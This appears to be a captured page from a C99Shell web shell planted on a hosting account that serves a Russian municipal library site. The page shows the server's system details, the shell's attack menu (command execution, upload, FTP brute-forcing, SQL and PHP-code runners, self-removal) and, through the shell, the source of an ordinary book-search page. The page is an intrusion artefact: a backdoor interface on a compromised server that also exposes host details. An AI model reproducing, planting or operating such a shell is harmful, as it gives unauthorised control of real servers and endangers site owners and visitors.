!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 

uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10
11:16:02 MSK 2026 x86_64
 

uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782)  

Safe-mode: OFF (not secure)

/home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/   drwxr-x---
Free 2714.94 GB of 4607.12 GB (58.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     findbooks.php (4.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require("design.php");

session_start();

TOP(1);


LEFTCOLUMN();
CHANNELS();


MAINCOLUMN();
?>

<div class=path>
    <nobr><img src='c.png'><a href='readers.php'>Читателям</a></nobr>
    <nobr><img src='g.png'><b>Поиск книг</b></nobr>
</div>

<h1>Поиск книг</h1>


<center style='color:#999999; padding-bottom:8px'>Поиск осуществляется в электронном каталоге книг<br>МБУК ЦБС Королёва по всем филиалам, подключённым к системе</center>
<br>
<table width=100% class=redSearch>
<tr>
    <td width=1% class=redSearchA>Поиск:</td>
    <td width=99% class=redSearchB><table width=100% cellspacing=0>
        <tr>
            <td width=99% class=redSearchCell1><input autofocus id=searchText value="<?php print _input_(_GD_('search')); ?>" type=text placeholder="Часть названия или фамилия автора" onkeydown='onKeyDown(event)'></td>
            <td width=1% class=redSearchCell2><img class=redSearchBtn title='Поиск' src='search24x24.png' onclick='doSearch()'></td>
        </tr>
        </table></td>
</tr>
</table>

<script src='bookinfo.js?4'></script>

<div id=searchResult style='margin-top:10px'></div>

<script>


searchResult = document.getElementById('searchResult');

function onBookClick()
{
    showBook(this.bookID);
}

function buildBookList(books)
{
    if (books.length==0)
    {
        searchResult.innerHTML = '<center>По Вашему запросу ничего не найдено.</center>';
        return;
    }


    searchResult.innerHTML = '';
    var table = searchResult.appendChild(document.createElement('TABLE'));
    table.style.width="100%";
    table.cellSpacing=0;
    var tbody = table.appendChild(document.createElement('TBODY'));

    


    for(var i=0; i < books.length; i++)
    {
        var tr = tbody.appendChild(document.createElement('TR'));
        tr.className="book";
        tr.onclick = onBookClick;
        tr.bookID = books[i].id;

        var td = tr.appendChild(document.createElement('TD'));
        td.style.width="1%";
        td.align="center";
        
        var titleURL = books[i].cover;
        //if (titleURL=="") titleURL = "notitle.jpg"; else titleURL = opacHost + titleURL;
        if (titleURL=="") titleURL = "notitle.jpg"; else
        if (!titleURL.match(/^http/)) titleURL = "https://biblio-fond.ru/"+titleURL;

        var img = td.appendChild(new Image());
        img.className = "bookIcon";
        img.draggable=false;
        img.src = titleURL;

        td = tr.appendChild(document.createElement('TD'));
        td.style.width="99%";
        td.className = "bookCell";
        
        var bookName = books[i].title;
        if (books[i].subTitle!='') bookName+='. '+books[i].subTitle;
        if (books[i].volume!='') bookName+='. '+books[i].volume;

        var div = td.appendChild(document.createElement('DIV'));
        div.className="bookName";
        div.innerHTML = _html_(bookName);


        div = td.appendChild(document.createElement('DIV'));
        div.className="bookAuthor";
        div.innerHTML = _html_(books[i].shortAuthors);
    }
}








searchInprogress = false;
function doSearch()
{
    if (searchInprogress) return;

    var searchText = document.getElementById('searchText').value.trim();
    if (searchText.length < 2)
    {
        searchResult.innerHTML = '<center>Ничего не найдено</center>';
        return;
    }    

    searchResult.innerHTML = '<center><img src=\"waiting.gif\" width=128 height=128></center>';

    searchInprogress = true;
    sendXHR('https://biblio-fond.ru/api.php','action=book:search&search='+encodeURIComponent(searchText),
        function(response)
        {
            searchInprogress = false;
            buildBookList(JSON.parse(response));
        },
        function(error)
        {
            searchResult.innerHTML = '<center>Ошибка поиска</center>';
            searchInprogress = false;
            errorBox(error);
        });    
}

function onKeyDown(e)
{
    if (e.keyCode==13) doSearch();
}
</script>




<br><br>
<hr>
<center><input type=button value='« Назад' onclick='history.back()'></center>
<br><br>


<?php

MIDDLECOLUMN2
();
print 
"<center><table><tr><td>";
ACTUALLINKS('actualLinksH');
print 
"</tr></td></table></center>";
FAQ();


MIDDLECOLUMN();
CHANNELS("channelBlockH");
RIGHTCOLUMN();

ACTUALLINKS();
FAQ();

?>




<?php BOTTOM(); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--